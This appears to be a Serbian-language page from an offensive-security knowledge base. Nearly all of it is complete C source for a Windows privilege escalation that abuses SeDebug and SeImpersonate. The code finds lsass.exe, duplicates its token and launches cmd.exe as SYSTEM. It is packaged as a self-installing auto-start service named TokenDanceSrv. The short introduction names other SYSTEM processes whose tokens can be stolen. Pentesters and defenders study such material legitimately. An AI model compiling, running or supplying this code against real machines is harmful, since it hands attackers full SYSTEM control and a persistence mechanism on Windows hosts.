SeDebug + SeImpersonate copy token

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Sledeći kod iskorišćava privilegije SeDebug i SeImpersonate da kopira token iz procesa koji se izvršava kao SYSTEM i sa svim privilegijama tokena. U ovom slučaju, ovaj kod može biti kompajliran i korišćen kao Windows servisni binarni fajl da se proveri da li radi. Međutim, glavni deo koda gde se dešava elevacija je unutar Exploit funkcije. Unutar te funkcije možete videti da se proces _lsass.exe_** pretražuje**, zatim se token kopira, i na kraju se taj token koristi za pokretanje novog cmd.exe sa svim privilegijama kopiranog tokena.

Ostali procesi koji se izvršavaju kao SYSTEM sa svim ili većinom privilegija tokena su: services.exe, svhost.exe (jedan od prvih), wininit.exe, csrss.exe... (zapamtite da nećete moći da kopirate token iz zaštićenog procesa). Pored toga, možete koristiti alat Process Hacker koji se izvršava kao administrator da vidite tokene procesa.

// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;

//This function will find the pid of a process by name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

HANDLE hSystemToken, hSystemProcess;
HANDLE dupSystemToken = NULL;
HANDLE hProcess, hThread;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;


ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// open high privileged process
if ( pid = FindTarget("lsass.exe") )
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract high privileged token
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
CloseHandle(hSystemProcess);
return -1;
}

// make a copy of a token
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);

// and spawn a new process with higher privs
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

return 0;
}


void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

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